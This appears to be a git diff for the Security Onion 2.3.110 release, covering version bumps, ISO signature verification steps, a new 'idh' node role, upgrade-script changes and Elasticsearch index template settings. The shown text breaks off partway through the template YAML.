diff --git a/HOTFIX b/HOTFIX index e2deb48db..e69de29bb 100644 --- a/HOTFIX +++ b/HOTFIX @@ -1 +0,0 @@ -20220202 20220203 20220301 diff --git a/README.md b/README.md index 3dbaacd27..0dff3fba4 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ -## Security Onion 2.3.100 +## Security Onion 2.3.110 -Security Onion 2.3.100 is here! +Security Onion 2.3.110 is here! ## Screenshots diff --git a/VERIFY_ISO.md b/VERIFY_ISO.md index ec72e3d13..300428636 100644 --- a/VERIFY_ISO.md +++ b/VERIFY_ISO.md @@ -1,18 +1,18 @@ -### 2.3.100-20220301 ISO image built on 2022/03/01 +### 2.3.110-20220309 ISO image built on 2022/03/09 ### Download and Verify -2.3.100-20220301 ISO image: -https://download.securityonion.net/file/securityonion/securityonion-2.3.100-20220301.iso +2.3.110-20220309 ISO image: +https://download.securityonion.net/file/securityonion/securityonion-2.3.110-20220309.iso -MD5: 53A992D6321B7C33440219BAD9157769 -SHA1: D730157F4847EB91393CF0C1A22410708312F605 -SHA256: F6C0E55968ED1F0AA35CB9E1F7FF5BEB27673638A4F2223302B301360BC401A1 +MD5: 537564F8B56633E2D46E5E7C4E2BF18A +SHA1: 1E1B42EDB711AC8B5963B3460056770B91AE6BFC +SHA256: 4D73E5BE578DA43DCFD3C1B5F9AF07A7980D8DF90ACDDFEF6CEA177F872EECA0 Signature for ISO image: -https://github.com/Security-Onion-Solutions/securityonion/raw/master/sigs/securityonion-2.3.100-20220301.iso.sig +https://github.com/Security-Onion-Solutions/securityonion/raw/master/sigs/securityonion-2.3.110-20220309.iso.sig Signing key: https://raw.githubusercontent.com/Security-Onion-Solutions/securityonion/master/KEYS @@ -26,22 +26,22 @@ wget https://raw.githubusercontent.com/Security-Onion-Solutions/securityonion/ma Download the signature file for the ISO: ``` -wget https://github.com/Security-Onion-Solutions/securityonion/raw/master/sigs/securityonion-2.3.100-20220301.iso.sig +wget https://github.com/Security-Onion-Solutions/securityonion/raw/master/sigs/securityonion-2.3.110-20220309.iso.sig ``` Download the ISO image: ``` -wget https://download.securityonion.net/file/securityonion/securityonion-2.3.100-20220301.iso +wget https://download.securityonion.net/file/securityonion/securityonion-2.3.110-20220309.iso ``` Verify the downloaded ISO image using the signature file: ``` -gpg --verify securityonion-2.3.100-20220301.iso.sig securityonion-2.3.100-20220301.iso +gpg --verify securityonion-2.3.110-20220309.iso.sig securityonion-2.3.110-20220309.iso ``` The output should show "Good signature" and the Primary key fingerprint should match what's shown below: ``` -gpg: Signature made Tue 01 Mar 2022 03:14:02 PM EST using RSA key ID FE507013 +gpg: Signature made Wed 09 Mar 2022 10:20:47 AM EST using RSA key ID FE507013 gpg: Good signature from "Security Onion Solutions, LLC " gpg: WARNING: This key is not certified with a trusted signature! gpg: There is no indication that the signature belongs to the owner. diff --git a/VERSION b/VERSION index 066d919dd..18161cf24 100644 --- a/VERSION +++ b/VERSION @@ -1 +1 @@ -2.3.100 +2.3.110 diff --git a/files/firewall/assigned_hostgroups.local.map.yaml b/files/firewall/assigned_hostgroups.local.map.yaml index ee871ad80..3f30fc367 100644 --- a/files/firewall/assigned_hostgroups.local.map.yaml +++ b/files/firewall/assigned_hostgroups.local.map.yaml @@ -13,6 +13,7 @@ role: fleet: heavynode: helixsensor: + idh: import: manager: managersearch: diff --git a/files/firewall/hostgroups.local.yaml b/files/firewall/hostgroups.local.yaml index 334b090d1..9e7babe00 100644 --- a/files/firewall/hostgroups.local.yaml +++ b/files/firewall/hostgroups.local.yaml @@ -28,6 +28,10 @@ firewall: ips: delete: insert: + idh: + ips: + delete: + insert: manager: ips: delete: diff --git a/pillar/elasticsearch/eval.sls b/pillar/elasticsearch/eval.sls index 67bc17f29..ca28d60d6 100644 --- a/pillar/elasticsearch/eval.sls +++ b/pillar/elasticsearch/eval.sls @@ -1,14 +1,2 @@ elasticsearch: templates: - - so/so-beats-template.json.jinja - - so/so-case-template.json.jinja - - so/so-common-template.json.jinja - - so/so-firewall-template.json.jinja - - so/so-flow-template.json.jinja - - so/so-ids-template.json.jinja - - so/so-import-template.json.jinja - - so/so-osquery-template.json.jinja - - so/so-ossec-template.json.jinja - - so/so-strelka-template.json.jinja - - so/so-syslog-template.json.jinja - - so/so-zeek-template.json.jinja diff --git a/pillar/elasticsearch/manager.sls b/pillar/elasticsearch/manager.sls index 442ba1033..ca28d60d6 100644 --- a/pillar/elasticsearch/manager.sls +++ b/pillar/elasticsearch/manager.sls @@ -1,15 +1,2 @@ elasticsearch: templates: - - so/so-beats-template.json.jinja - - so/so-case-template.json.jinja - - so/so-common-template.json.jinja - - so/so-endgame-template.json.jinja - - so/so-firewall-template.json.jinja - - so/so-flow-template.json.jinja - - so/so-ids-template.json.jinja - - so/so-import-template.json.jinja - - so/so-osquery-template.json.jinja - - so/so-ossec-template.json.jinja - - so/so-strelka-template.json.jinja - - so/so-syslog-template.json.jinja - - so/so-zeek-template.json.jinja diff --git a/pillar/elasticsearch/search.sls b/pillar/elasticsearch/search.sls index 442ba1033..ca28d60d6 100644 --- a/pillar/elasticsearch/search.sls +++ b/pillar/elasticsearch/search.sls @@ -1,15 +1,2 @@ elasticsearch: templates: - - so/so-beats-template.json.jinja - - so/so-case-template.json.jinja - - so/so-common-template.json.jinja - - so/so-endgame-template.json.jinja - - so/so-firewall-template.json.jinja - - so/so-flow-template.json.jinja - - so/so-ids-template.json.jinja - - so/so-import-template.json.jinja - - so/so-osquery-template.json.jinja - - so/so-ossec-template.json.jinja - - so/so-strelka-template.json.jinja - - so/so-syslog-template.json.jinja - - so/so-zeek-template.json.jinja diff --git a/pillar/top.sls b/pillar/top.sls index 37bd53f5e..8ab666d0d 100644 --- a/pillar/top.sls +++ b/pillar/top.sls @@ -98,6 +98,11 @@ base: - global - minions.{{ grains.id }} + '*_idh': + - data.* + - global + - minions.{{ grains.id }} + '*_searchnode': - logstash - logstash.search diff --git a/salt/allowed_states.map.jinja b/salt/allowed_states.map.jinja index bdff03c43..36fd86321 100644 --- a/salt/allowed_states.map.jinja +++ b/salt/allowed_states.map.jinja @@ -91,6 +91,16 @@ 'schedule', 'docker_clean' ], + 'so-idh': [ + 'ssl', + 'telegraf', + 'firewall', + 'fleet.install_package', + 'filebeat', + 'idh', + 'schedule', + 'docker_clean' + ], 'so-import': [ 'salt.master', 'ca', @@ -238,7 +248,7 @@ {% do allowed_states.append('strelka') %} {% endif %} - {% if WAZUH and grains.role in ['so-eval', 'so-manager', 'so-standalone', 'so-node', 'so-managersearch', 'so-heavynode', 'so-receiver']%} + {% if WAZUH and grains.role in ['so-eval', 'so-manager', 'so-standalone', 'so-node', 'so-managersearch', 'so-heavynode', 'so-receiver','so-idh']%} {% do allowed_states.append('wazuh') %} {% endif %} diff --git a/salt/common/files/log-rotate.conf b/salt/common/files/log-rotate.conf index 35c6fd724..1d04c4bb3 100644 --- a/salt/common/files/log-rotate.conf +++ b/salt/common/files/log-rotate.conf @@ -23,6 +23,7 @@ /opt/so/log/salt/minion /opt/so/log/salt/master /opt/so/log/logscan/*.log +/nsm/idh/*.log { {{ logrotate_conf | indent(width=4) }} } diff --git a/salt/common/tools/sbin/so-common b/salt/common/tools/sbin/so-common index bc11da57b..a7677a754 100755 --- a/salt/common/tools/sbin/so-common +++ b/salt/common/tools/sbin/so-common @@ -249,6 +249,7 @@ lookup_salt_value() { group=$2 kind=$3 output=${4:-newline_values_only} + local=$5 if [ -z "$kind" ]; then kind=pillar @@ -258,7 +259,13 @@ lookup_salt_value() { group=${group}: fi - salt-call --no-color ${kind}.get ${group}${key} --out=${output} + if [[ "$local" == "--local" ]] || [[ "$local" == "local" ]]; then + local="--local" + else + local="" + fi + + salt-call --no-color ${kind}.get ${group}${key} --out=${output} ${local} } lookup_pillar() { diff --git a/salt/common/tools/sbin/so-elasticsearch-component-templates-list b/salt/common/tools/sbin/so-elasticsearch-component-templates-list new file mode 100755 index 000000000..69deb1873 --- /dev/null +++ b/salt/common/tools/sbin/so-elasticsearch-component-templates-list @@ -0,0 +1,23 @@ +#!/bin/bash +# +# Copyright 2014-2022 Security Onion Solutions, LLC +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +{%- set NODEIP = salt['pillar.get']('elasticsearch:mainip', '') -%} +. /usr/sbin/so-common +if [ "$1" == "" ]; then + {{ ELASTICCURL }} -s -k -L https://{{ NODEIP }}:9200/_component_template | jq '.component_templates[] |.name'| sort +else + {{ ELASTICCURL }} -s -k -L https://{{ NODEIP }}:9200/_component_template/$1 | jq +fi diff --git a/salt/common/tools/sbin/so-elasticsearch-index-templates-list b/salt/common/tools/sbin/so-elasticsearch-index-templates-list new file mode 100755 index 000000000..84fecc565 --- /dev/null +++ b/salt/common/tools/sbin/so-elasticsearch-index-templates-list @@ -0,0 +1,23 @@ +#!/bin/bash +# +# Copyright 2014-2022 Security Onion Solutions, LLC +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +{%- set NODEIP = salt['pillar.get']('elasticsearch:mainip', '') -%} +. /usr/sbin/so-common +if [ "$1" == "" ]; then + {{ ELASTICCURL }} -s -k -L https://{{ NODEIP }}:9200/_index_template | jq '.index_templates[] |.name'| sort +else + {{ ELASTICCURL }} -s -k -L https://{{ NODEIP }}:9200/_index_template/$1 | jq +fi diff --git a/salt/common/tools/sbin/so-elasticsearch-indices-list b/salt/common/tools/sbin/so-elasticsearch-indices-list index c6b661dbf..f7662f4e2 100755 --- a/salt/common/tools/sbin/so-elasticsearch-indices-list +++ b/salt/common/tools/sbin/so-elasticsearch-indices-list @@ -18,4 +18,4 @@ . /usr/sbin/so-common -{{ ELASTICCURL }} -s -k -L https://{{ NODEIP }}:9200/_cat/indices?pretty +{{ ELASTICCURL }} -s -k -L "https://{{ NODEIP }}:9200/_cat/indices?pretty&v&s=index" diff --git a/salt/common/tools/sbin/so-idh-restart b/salt/common/tools/sbin/so-idh-restart new file mode 100644 index 000000000..ce6dd9843 --- /dev/null +++ b/salt/common/tools/sbin/so-idh-restart @@ -0,0 +1,20 @@ +#!/bin/bash + +# Copyright 2014-2022 Security Onion Solutions, LLC +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +. /usr/sbin/so-common + +/usr/sbin/so-restart idh $1 diff --git a/salt/common/tools/sbin/so-idh-start b/salt/common/tools/sbin/so-idh-start new file mode 100644 index 000000000..2f300ba01 --- /dev/null +++ b/salt/common/tools/sbin/so-idh-start @@ -0,0 +1,20 @@ +#!/bin/bash + +# Copyright 2014-2022 Security Onion Solutions, LLC +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +. /usr/sbin/so-common + +/usr/sbin/so-start idh $1 diff --git a/salt/common/tools/sbin/so-idh-stop b/salt/common/tools/sbin/so-idh-stop new file mode 100644 index 000000000..48e974be2 --- /dev/null +++ b/salt/common/tools/sbin/so-idh-stop @@ -0,0 +1,20 @@ +#!/bin/bash + +# Copyright 2014-2022 Security Onion Solutions, LLC +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +. /usr/sbin/so-common + +/usr/sbin/so-stop idh $1 diff --git a/salt/common/tools/sbin/so-image-common b/salt/common/tools/sbin/so-image-common index 9b9c1a344..140d4c63b 100755 --- a/salt/common/tools/sbin/so-image-common +++ b/salt/common/tools/sbin/so-image-common @@ -55,6 +55,7 @@ container_list() { "so-fleet" "so-fleet-launcher" "so-grafana" + "so-idh" "so-idstools" "so-influxdb" "so-kibana" diff --git a/salt/common/tools/sbin/so-ip-update b/salt/common/tools/sbin/so-ip-update index 8ef99fadc..7278afb94 100755 --- a/salt/common/tools/sbin/so-ip-update +++ b/salt/common/tools/sbin/so-ip-update @@ -53,7 +53,9 @@ if [ "$CONTINUE" == "y" ]; then docker exec -i so-mysql mysql --user=root --password=$(lookup_pillar_secret 'mysql') -e "GRANT ALL PRIVILEGES ON *.* TO 'root'@'$NEW_IP' IDENTIFIED BY '$(lookup_pillar_secret 'mysql')' WITH GRANT OPTION;" &> /dev/null echo "Removing MySQL root user from $OLD_IP" docker exec -i so-mysql mysql --user=root --password=$(lookup_pillar_secret 'mysql') -e "DROP USER 'root'@'$OLD_IP';" &> /dev/null - + echo "Updating Kibana dashboards" + salt-call state.apply kibana.so_savedobjects_defaults -l info queue=True + echo "The IP has been changed from $OLD_IP to $NEW_IP." echo diff --git a/salt/common/tools/sbin/so-playbook-sigma-refresh b/salt/common/tools/sbin/so-playbook-sigma-refresh index 5226b309e..76873b3d5 100755 --- a/salt/common/tools/sbin/so-playbook-sigma-refresh +++ b/salt/common/tools/sbin/so-playbook-sigma-refresh @@ -17,11 +17,21 @@ . /usr/sbin/so-common -# Regenerate ElastAlert & update Plays -docker exec so-soctopus python3 playbook_play-update.py +if ! [ -f /opt/so/state/playbook_regen_plays ] || [ "$1" = "--force" ]; then -# Delete current Elastalert Rules -rm /opt/so/rules/elastalert/playbook/*.yaml + echo "Refreshing Sigma & regenerating plays... " -# Regenerate Elastalert Rules -so-playbook-sync + # Regenerate ElastAlert & update Plays + docker exec so-soctopus python3 playbook_play-update.py + + # Delete current Elastalert Rules + rm /opt/so/rules/elastalert/playbook/*.yaml + + # Regenerate Elastalert Rules + so-playbook-sync + + # Create state file + touch /opt/so/state/playbook_regen_plays +else + printf "\nState file found, exiting...\nRerun with --force to override.\n" +fi \ No newline at end of file diff --git a/salt/common/tools/sbin/so-status b/salt/common/tools/sbin/so-status index cf068c86b..61db01ada 100755 --- a/salt/common/tools/sbin/so-status +++ b/salt/common/tools/sbin/so-status @@ -15,10 +15,6 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . -if ! [ "$(id -u)" = 0 ]; then - echo "This command must be run as root" - exit 1 -fi display_help() { cat <> "$rolesTmpFile" [[ $? != 0 ]] && fail "Unable to read identities from database" @@ -243,27 +247,34 @@ function syncElastic() { if [[ -f "$databasePath" && -f "$socRolesFile" ]]; then # Append the SOC users - echo "select '{\"user\":\"' || ici.identifier || '\", \"data\":' || ic.config || '}'" \ - "from identity_credential_identifiers ici, identity_credentials ic, identities i " \ + userData=$(echo "select '{\"user\":\"' || ici.identifier || '\", \"data\":' || ic.config || '}'" \ + "from identity_credential_identifiers ici, identity_credentials ic, identities i, identity_credential_types ict " \ "where " \ " ici.identity_credential_id=ic.id " \ " and ic.identity_id=i.id " \ + " and ict.id=ic.identity_credential_type_id " \ + " and ict.name='password' " \ " and instr(ic.config, 'hashed_password') " \ " and i.state == 'active' " \ "order by ici.identifier;" | \ - sqlite3 "$databasePath" | \ + sqlite3 -cmd ".timeout ${databaseTimeout}" "$databasePath") + [[ $? != 0 ]] && fail "Unable to read credential hashes from database" + echo "${userData}" | \ jq -r '.user + ":" + .data.hashed_password' \ >> "$usersTmpFile" - [[ $? != 0 ]] && fail "Unable to read credential hashes from database" # Append the user roles while IFS="" read -r rolePair || [ -n "$rolePair" ]; do userId=$(echo "$rolePair" | cut -d: -f2) role=$(echo "$rolePair" | cut -d: -f1) echo "select '$role:' || ici.identifier " \ - "from identity_credential_identifiers ici, identity_credentials ic " \ - "where ici.identity_credential_id=ic.id and ic.identity_id = '$userId';" | \ - sqlite3 "$databasePath" >> "$rolesTmpFile" + "from identity_credential_identifiers ici, identity_credentials ic, identity_credential_types ict " \ + "where ici.identity_credential_id=ic.id " \ + " and ict.id=ic.identity_credential_type_id " \ + " and ict.name='password' " \ + " and ic.identity_id = '$userId';" | \ + sqlite3 -cmd ".timeout ${databaseTimeout}" "$databasePath" >> "$rolesTmpFile" + [[ $? != 0 ]] && fail "Unable to read role identities from database" done < "$socRolesFile" else @@ -293,7 +304,8 @@ function syncAll() { if [[ -z "$FORCE_SYNC" && -f "$databasePath" && -f "$elasticUsersFile" ]]; then usersFileAgeSecs=$(echo $(($(date +%s) - $(date +%s -r "$elasticUsersFile")))) staleCount=$(echo "select count(*) from identity_credentials where updated_at >= Datetime('now', '-${usersFileAgeSecs} seconds');" \ - | sqlite3 "$databasePath") + | sqlite3 -cmd ".timeout ${databaseTimeout}" "$databasePath") + [[ $? != 0 ]] && fail "Unable to read user count from database" if [[ "$staleCount" == "0" && "$elasticRolesFile" -nt "$socRolesFile" ]]; then return 1 fi diff --git a/salt/common/tools/sbin/soup b/salt/common/tools/sbin/soup index 61b936f1a..42c7b43bf 100755 --- a/salt/common/tools/sbin/soup +++ b/salt/common/tools/sbin/soup @@ -158,7 +158,7 @@ EOF } airgap_update_dockers() { - if [[ $is_airgap -eq 0 ]]; then + if [[ $is_airgap -eq 0 ]] || [[ ! -z "$ISOLOC" ]]; then # Let's copy the tarball if [[ ! -f $AGDOCKER/registry.tar ]]; then echo "Unable to locate registry. Exiting" @@ -245,7 +245,6 @@ check_sudoers() { } check_log_size_limit() { - local num_minion_pillars num_minion_pillars=$(find /opt/so/saltstack/local/pillar/minions/ -type f | wc -l) @@ -255,7 +254,7 @@ check_log_size_limit() { fi else local minion_id - minion_id=$(lookup_salt_value "id" "" "grains") + minion_id=$(lookup_salt_value "id" "" "grains" "" "local") local minion_arr IFS='_' read -ra minion_arr <<< "$minion_id" @@ -263,7 +262,15 @@ check_log_size_limit() { local node_type="${minion_arr[0]}" local current_limit - current_limit=$(lookup_pillar "log_size_limit" "elasticsearch") + # since it is possible for the salt-master service to be stopped when this is run, we need to check the pillar values locally + # we need to combine default local and default pillars before doing this so we can define --pillar-root in salt-call + local epoch_date=$(date +%s%N) + mkdir -vp /opt/so/saltstack/soup_tmp_${epoch_date}/ + cp -r /opt/so/saltstack/default/pillar/ /opt/so/saltstack/soup_tmp_${epoch_date}/ + # use \cp here to overwrite any pillar files from default with those in local for the tmp directory + \cp -r /opt/so/saltstack/local/pillar/ /opt/so/saltstack/soup_tmp_${epoch_date}/ + current_limit=$(salt-call pillar.get elasticsearch:log_size_limit --local --pillar-root=/opt/so/saltstack/soup_tmp_${epoch_date}/pillar --out=newline_values_only) + rm -rf /opt/so/saltstack/soup_tmp_${epoch_date}/ local percent case $node_type in @@ -403,6 +410,7 @@ preupgrade_changes() { [[ "$INSTALLEDVERSION" == 2.3.50 || "$INSTALLEDVERSION" == 2.3.51 || "$INSTALLEDVERSION" == 2.3.52 || "$INSTALLEDVERSION" == 2.3.60 || "$INSTALLEDVERSION" == 2.3.61 || "$INSTALLEDVERSION" == 2.3.70 ]] && up_to_2.3.80 [[ "$INSTALLEDVERSION" == 2.3.80 ]] && up_to_2.3.90 [[ "$INSTALLEDVERSION" == 2.3.90 || "$INSTALLEDVERSION" == 2.3.91 ]] && up_to_2.3.100 + [[ "$INSTALLEDVERSION" == 2.3.100 ]] && up_to_2.3.110 true } @@ -415,6 +423,7 @@ postupgrade_changes() { [[ "$POSTVERSION" == 2.3.40 || "$POSTVERSION" == 2.3.50 || "$POSTVERSION" == 2.3.51 || "$POSTVERSION" == 2.3.52 ]] && post_to_2.3.60 [[ "$POSTVERSION" == 2.3.60 || "$POSTVERSION" == 2.3.61 || "$POSTVERSION" == 2.3.70 || "$POSTVERSION" == 2.3.80 ]] && post_to_2.3.90 [[ "$POSTVERSION" == 2.3.90 || "$POSTVERSION" == 2.3.91 ]] && post_to_2.3.100 + [[ "$POSTVERSION" == 2.3.100 ]] && post_to_2.3.110 true } @@ -466,8 +475,16 @@ post_to_2.3.90() { post_to_2.3.100() { echo "Post Processing for 2.3.100" + POSTVERSION=2.3.100 +} + +post_to_2.3.110() { + echo "Post Processing for 2.3.110" + echo "Removing old Elasticsearch index templates" + [ -d /opt/so/saltstack/default/salt/elasticsearch/templates/so ] && rm -rf /opt/so/saltstack/default/salt/elasticsearch/templates/so echo "Updating Kibana dashboards" salt-call state.apply kibana.so_savedobjects_defaults queue=True + POSTVERSION=2.3.110 } stop_salt_master() { @@ -704,7 +721,6 @@ up_to_2.3.90() { } up_to_2.3.100() { - echo "Updating to Security Onion 2.3.100" fix_wazuh echo "Removing /opt/so/state files for patched Salt InfluxDB module and state. This is due to Salt being upgraded and needing to patch the files again." @@ -721,6 +737,12 @@ up_to_2.3.100() { grep -qxF " receiver:" /opt/so/saltstack/local/salt/firewall/assigned_hostgroups.local.map.yaml || sed -i -e '$a\ receiver:' /opt/so/saltstack/local/salt/firewall/assigned_hostgroups.local.map.yaml } +up_to_2.3.110() { + echo "Updating to Security Onion 2.3.110" + echo "Updating shard settings for Elasticsearch index templates" + sed -i 's|shards|index_template:\n template:\n settings:\n index:\n number_of_shards|g' /opt/so/saltstack/local/pillar/global.sls +} + verify_upgradespace() { CURRENTSPACE=$(df -BG / | grep -v Avail | awk '{print $4}' | sed 's/.$//') if [ "$CURRENTSPACE" -lt "10" ]; then @@ -976,6 +998,11 @@ main() { # Let's mount the ISO since this is airgap airgap_mounted else + # if not airgap but -f was used + if [[ ! -z "$ISOLOC" ]]; then + airgap_mounted + AGDOCKER=/tmp/soagupdate/docker + fi echo "Cloning Security Onion github repo into $UPDATE_DIR." echo "Removing previous upgrade sources." rm -rf $UPDATE_DIR @@ -1031,6 +1058,10 @@ main() { update_centos_repo yum clean all check_os_updates + # if not airgap but -f was used + elif [[ ! -z "$ISOLOC" ]]; then + airgap_update_dockers + unmount_update else update_registry set +e diff --git a/salt/elasticsearch/auth.sls b/salt/elasticsearch/auth.sls index d19b7e7c1..ad9f3df04 100644 --- a/salt/elasticsearch/auth.sls +++ b/salt/elasticsearch/auth.sls @@ -4,7 +4,7 @@ {% set DIGITS = "1234567890" %} {% set LOWERCASE = "qwertyuiopasdfghjklzxcvbnm" %} {% set UPPERCASE = "QWERTYUIOPASDFGHJKLZXCVBNM" %} - {% set SYMBOLS = "~!@#$^&*()-_=+[]|;:,.<>?" %} + {% set SYMBOLS = "~!@#^&*()-_=+[]|;:,.<>?" %} {% set CHARS = DIGITS~LOWERCASE~UPPERCASE~SYMBOLS %} {% set so_elastic_user_pass = salt['pillar.get']('elasticsearch:auth:users:so_elastic_user:pass', salt['random.get_str'](72, chars=CHARS)) %} {% set so_kibana_user_pass = salt['pillar.get']('elasticsearch:auth:users:so_kibana_user:pass', salt['random.get_str'](72, chars=CHARS)) %} diff --git a/salt/elasticsearch/base-template.json.jinja b/salt/elasticsearch/base-template.json.jinja new file mode 100644 index 000000000..02aed1b49 --- /dev/null +++ b/salt/elasticsearch/base-template.json.jinja @@ -0,0 +1 @@ +{{ TEMPLATE_CONFIG | tojson(true) }} diff --git a/salt/elasticsearch/config.map.jinja b/salt/elasticsearch/config.map.jinja index b9ddaa988..9a80ce30f 100644 --- a/salt/elasticsearch/config.map.jinja +++ b/salt/elasticsearch/config.map.jinja @@ -10,7 +10,7 @@ {% if salt['pillar.get']('nodestab', {}) %} {% do ESCONFIG.elasticsearch.config.node.update({'roles': ['master', 'data', 'remote_cluster_client']}) %} {% if HIGHLANDER %} - {% do ESCONFIG.elasticsearch.config.node.roles.append('ml', 'transform') %} + {% do ESCONFIG.elasticsearch.config.node.roles.extend(['ml', 'transform']) %} {% endif %} {% do ESCONFIG.elasticsearch.config.update({'discovery': {'seed_hosts': [grains.master]}}) %} {% for SN, SNDATA in salt['pillar.get']('nodestab', {}).items() %} diff --git a/salt/elasticsearch/defaults.yaml b/salt/elasticsearch/defaults.yaml index 737c1118e..f2bb90792 100644 --- a/salt/elasticsearch/defaults.yaml +++ b/salt/elasticsearch/defaults.yaml @@ -55,14 +55,4161 @@ elasticsearch: indices: query: bool: - max_clause_count: 1500 + max_clause_count: 3500 id_field_data: enabled: false logger: org: elasticsearch: deprecation: ERROR - - - - + index_settings: + so-aws: + warm: 7 + close: 30 + delete: 365 + index_sorting: False + index_template: + index_patterns: + - so-aws-* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - aws-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + priority: 500 + so-azure: + warm: 7 + close: 30 + delete: 365 + index_sorting: False + index_template: + index_patterns: + - so-azure-* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - azure-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + priority: 500 + so-barracuda: + warm: 7 + close: 30 + delete: 365 + index_sorting: False + index_template: + index_patterns: + - so-barracuda-* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + priority: 500 + so-beats: + warm: 7 + close: 30 + delete: 365 + index_sorting: False + index_template: + index_patterns: + - so-beats-* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + 